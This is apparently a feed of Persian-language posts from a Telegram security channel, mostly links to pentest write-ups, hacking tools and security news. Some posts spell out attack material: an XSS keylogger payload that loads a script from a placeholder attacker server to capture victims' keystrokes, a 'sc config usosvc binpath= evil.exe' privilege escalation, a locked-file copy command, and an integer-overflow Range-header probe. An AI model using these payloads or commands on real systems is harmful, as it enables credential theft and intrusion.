بالا بردن سطح دسترسی در شبکه های ویندوزی

قسمت اول:
https://blog.compass-security.com/2019/07/privilege-escalation-in-windows-domains-1-3/

قسمت دوم:
https://blog.compass-security.com/2019/08/privilege-escalation-in-windows-domains-2-3/

قسمت سوم:
https://blog.compass-security.com/2019/08/privilege-escalation-in-windows-domains-3-3/


#privesc
#windows
#network
#AD


@sec_nerd

درود بر ادمین های همیشه آپدیت کشورمون.
رتبه سوم هم بد نیست!


#security
#botnet
#ddos


@sec_nerd

کپی کردن فایلهای قفل شده توسط سیستم عامل ویندوز ۱۰ با دستور زیر:

C:\WINDOWS\system32\esentutl.exe /y <SOURCE> /vss /d <DEST>


#windows
#pentest


@sec_nerd

ابزار استخراج کوکی ها و پسوردها از مروگر کروم
نوشته شده با #C


https://github.com/rasta-mouse/CookieMonster


#chrome
#enum


@sec_nerd

مجموعه پسوردهای پیشفرض دستگاه های کنترل صنعتی

https://www.critifence.com/default-password-database/


#SCADA
#pentest
#network


@sec_nerd

Manually Detect Remote Integer Overflow:

1. Note Content-Length. EX: 612
2. Take NO < Content-Length. Ex: 610
3. Add (610+612 = 1222)
4. Request Header - 'Range: bytes= -1222' => SAME RESPONSE
5. Subtract 9223372036854775808 - 1222 = 9223372036854774586
6. Request With Header - 'Range: bytes= -1222,-9223372036854774586' => BooM :)



#web
#pentest


@sec_nerd

CVE-2019-1322
as service user "sc config usosvc binpath= evil.exe" the easiest way eop from service user to system, worked for more than 1 year!


https://twitter.com/decoder_it/status/1193496591140818944?s=20

تست نشده!

#windows
#privesc
#pentest



@sec_nerd

کشف باگ در میکروتیک
https://github.com/tenable/routeros/blob/master/slides/bug_hunting_in_routeros_derbycon_2018.pdf

تعدادی از اکسپلویت های مربوط به میکروتیک؛
https://github.com/tenable/routeros/tree/master/poc


یک رایت آپ در خصوص نفوذ به میکروتیک و ایجاد سطح دسترسی روت:
https://medium.com/tenable-techblog/routeros-chain-to-root-f4e0b07c0b21



#mikrotik
#routeros
#network
#pentest


@sec_nerd

کشف آسیب پذیری ها با کمک nmap با ابزار vscan

https://github.com/xvass/vscan


#nmap
#pentest

@sec_nerd

رایت آپ کشف باگ LFD و دریافت ۱۷ هزار دلار جایزه


https://samcurry.net/reading-asp-secrets-for-17000/


#writeup
#lfd
#web
#pentest


@sec_nerd

گروه امنیت اطلاعات

https://t.iss.one/joinchat/Cu-7qUvIA5ULBMsmH9yVzA



@sec_nerd

رایت آپ کشف باگ RCE در سایت nokia.com


https://link.medium.com/g8CtDVAay1



#writeup
#rce
#pentest


@sec_nerd

Remote XSS Keylogger:

Payload: <svg/onload=setTimeout(function(){d=document;z=d.createElement("script");z.src="//YOUR_SERVER/keylogger.js";d.body.appendChild(z)},0)>

This will log a user's input to your remote server.

keylogger.php: https://pastebin.com/hzzQqSFt

keylogger.js: https://pastebin.com/ySyG4TiN

#BugBounty
#web
#pentest
#XSS


@sec_nerd

فیسبوک دوربین گوشی های آیفون را بصورت مخفیانه روشن میکند!
این اتفاق از سوی برخی کاربران در توییتر گزارش و ویدیوهای اثبات آن منتشر شده است.
هنوز مشخص نیست باز شدن دوربین جلوی گوشی های آیفون یک مشکل نرم افزاری ست یا فیسبوک در حال جاسوسی از کاربران خود میباشد.



https://thehackernews.com/2019/11/facebook-ios-camera.html



#facebook
#privacy
#news



@sec_nerd

اگر سایت هدف اپلیکیشن اندروید دارد:

بعد از دانلود اپ
از Diggy برای استخراج آدرس های وب آن استفاده کنید
از Arjun برای پیدا کردن پارامترهای ارسالی به آدرس های مذکور استفاده کنید.



#android
#pentest
#web
#bugbounty



@sec_nerd

رایت آپی در خصوص یکی از راه های دور زدن UAC در ویندوز


https://medium.com/@z3roTrust/bypassing-windows-user-account-control-9051c6a85734


#uac
#windows
#privesc
#writeup


@sec_nerd

rsdl Subdomain Scanner

Subdomain Scan With Ping Method.


https://github.com/tismayil/rsdl



#subdomain
#web
#pentest
#bugbounty



@sec_nerd

آموزش دور زدن آنتی ویروس با هدف اجرای mimikatz


https://www.blackhillsinfosec.com/bypass-anti-virus-run-mimikatz/



#windows
#privesc
#mimikatz



@sec_nerd

شرکت trend micro طی گزارشی ادعا کرد شبکه وی پی ان هکرهای ایرانی که با کد APT33 شناخته میشوند را شناسایی کرده است.
طبق این گزارش هکرهای ایرانی شبکه VPN مخصوص به خود راه اندازی کرده و با استفاده از آن اقدام به اتصال به زیرساختهای نفوذ خود میکردند و حتی بعضی از مرورهای وب خود را نیز از این طریق انجام میدادند.
گروه مذکور با بدافزار معروف Shamoon نیز شناخته میشود که در سال ۲۰۱۲ توانست ۳۵ هزار کامپیوتر را در آرامکوی عربستان آلوده کند.
در طی سال ۲۰۱۹ حملات این گروه بیشتر به سمت Spear Phishing سوق پیدا کرد و ترند مایکرو تایید میکند که این گروه امسال یک کمپانی خصوصی امریکایی که خدمات مرتبط با امنیت ملی ارائه میدهد را هدف قرار داده است.
بر اساس یک طرح دست نویس از سوی محققان ترند مایکرو، چهار لایه از شبکه ی APT33 شناسایی شده:
لایه ی VPN: که شامل نود های VPN با هدف مخفی کردن آی پی واقعی و مکان بکار گرفته شده است.
لایه ی کنترل بات: لایه ی میانجی سرورها
لایه ی C&C: جایی که گروه بات نت های بدافزاری خود را کنترل میکند.
لایه ی پروکسی: مجموعه ای از سرورهای ابری پروکسی که سرورهای C&C خود را از زامبی ها پنهان میکنند


لایه ی اول هم از ابزارهای متن باز مانند OpenVPN بجای معادل های تجاری بهره میبرد.
⭕️ به نظر Trend Micro اشتباه بزرگ این گروه استفاده از شبکه ی وی پی ان اختصاصی بود زیرا اگر آنها از سرویس های عمومی استفاده میکردند، مانیتور کردن آنها در بین انبوهی از کاربران دیگر آسان نبود ولی آنها درخواستهای مشکوک خود را به چند آی پی محدود کردند که کشف و بررسی آنها را آسان کرد ⭕️

بررسی این شبکه ی وی پی ان همچنین باعث برملا شدن تلاش های این گروه برای شناسایی شبکه های مرتبط با زنجیره ی تامین و صنعت نفت شد.
در آخر ترند اشاره میکند که از این زیرساختها برای دسترسی به وبسایتهای مرتبط با هک، میل، ارز دیجیتال و اکسپلویت ها استفاده شده.
پیشنهاد ترند میکرو به شرکت های نفت و گاز این بوده است که لاگ سرورهای خود را برای یافتن آدرس های آی پی موجود در این گزارش (در لینک زیر قابل دسترسی است) بررسی کنند.




منبع:
https://www.zdnet.com/article/iranian-hacking-group-built-its-own-vpn-network/


🌺 اختصاصی امنیت اطلاعات 🌺

#iran
#apt33
#news



@sec_nerd

کشف آسیب پذیری های XSS از نوع Reflected

https://www.youtube.com/watch?v=GHwXn8RWUiE


#xss
#web
#bugbounty


@sec_nerd